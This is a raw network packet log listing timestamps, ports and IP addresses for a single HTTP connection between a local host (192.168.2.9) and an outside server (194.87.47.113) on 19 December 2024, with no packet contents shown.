Dec 19, 2024 08:01:12.769025087 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.769186020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.769236088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.769499063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.769541025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.769553900 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.769577980 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.770315886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.770327091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.770338058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.770359039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.770373106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.771095991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.771109104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.771120071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.771164894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.772002935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.772015095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.772027016 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.772043943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.772070885 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.772663116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.772675991 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.772686958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.772715092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.773382902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.773394108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.773406029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.773433924 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.773447037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.774128914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.774207115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.774223089 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.774246931 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.774919987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.774969101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.774969101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.774982929 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.775017977 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.775768995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.775780916 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.775791883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.775814056 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.776585102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.776597023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.776607990 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.776632071 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.776657104 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.777199984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.777293921 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.777307034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.777339935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.778057098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.778100014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.778202057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.778214931 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.778248072 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.778796911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.778852940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.778875113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.778896093 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.779619932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.779642105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.779658079 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.779702902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.780410051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.780467033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.780479908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.780507088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.781189919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.781203032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.781213999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.781256914 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.781938076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.781949997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.781960964 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.781970024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.781995058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.783238888 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.783251047 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.783261061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.783305883 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.783343077 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.787661076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.787674904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.787681103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.787746906 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.787883997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.787930012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.787930965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.787945032 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.787981033 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.788686037 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.788698912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.788711071 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.788741112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.789457083 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.789535046 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.789572001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.789582968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.789613962 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.790241003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.790251970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.790263891 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.790292978 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.790996075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.791049004 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.791120052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.791132927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.791165113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.791733980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.791831970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.791878939 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:12.972172022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.972192049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.972203970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:12.972291946 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.013816118 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.091633081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.091689110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.091705084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.091752052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.091830015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.091869116 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211250067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211277008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211291075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211302996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211323023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211334944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211337090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211353064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211366892 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211374998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211453915 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211466074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211476088 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211488962 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211496115 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211500883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211514950 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211522102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211544037 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211679935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211693048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211705923 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211716890 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211721897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211730003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211741924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211747885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211750984 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211759090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211770058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211781025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211791992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211800098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211802959 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.211813927 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.211848021 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.212599039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212657928 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.212759018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212771893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212783098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212796926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212806940 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212811947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.212815046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212821960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212831974 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.212836981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212852001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212863922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212866068 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.212872028 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.212876081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.212903976 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.213334084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213346958 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213356972 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213376999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213387012 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.213388920 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213426113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.213819027 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213831902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213844061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213855982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213867903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213879108 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213880062 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.213891983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213897943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.213906050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213915110 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.213917971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213931084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213943005 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213954926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.213958025 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.213987112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.214005947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.214663029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214675903 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214688063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214706898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214719057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214724064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.214734077 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214761019 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.214778900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.214782953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214796066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214807034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.214832067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.215496063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215511084 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215545893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215569019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215580940 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.215584040 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215603113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215615988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215616941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.215627909 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215639114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215646982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.215646982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.215657949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215668917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215678930 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.215692997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.215707064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.215883017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.216408968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216422081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216433048 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216460943 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.216496944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.216517925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216531038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216541052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216553926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216564894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216564894 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.216576099 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216587067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216598034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216600895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.216609955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216620922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216628075 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.216631889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.216650963 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.216669083 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.217370987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217420101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.217495918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217535973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217547894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217565060 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217575073 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.217577934 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217605114 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.217618942 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217631102 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217642069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217655897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.217679024 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.217710018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217721939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217732906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217745066 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.217766047 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.217788935 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.218858004 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.218879938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.218921900 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.219366074 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.220165014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220179081 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220211983 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220225096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220236063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220237017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.220272064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.220284939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220298052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220318079 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.220369101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220381021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220391989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220402956 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220413923 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.220416069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220429897 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.220491886 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221328020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221349001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221359015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221359015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221359015 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221369982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221393108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221398115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221415043 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221431971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221443892 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221447945 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221472979 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221479893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221492052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221503019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221515894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221520901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221528053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.221537113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.221563101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.222501040 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.222795963 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.222920895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.222940922 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.222951889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.222968102 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.222995996 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.222999096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.223015070 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.223035097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.223047018 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.223048925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.223067045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.223081112 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.223114014 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.223148108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:13.224196911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224239111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224257946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224268913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:13.224281073 CET	80	49739	194.87.47.113	192.168.2.9
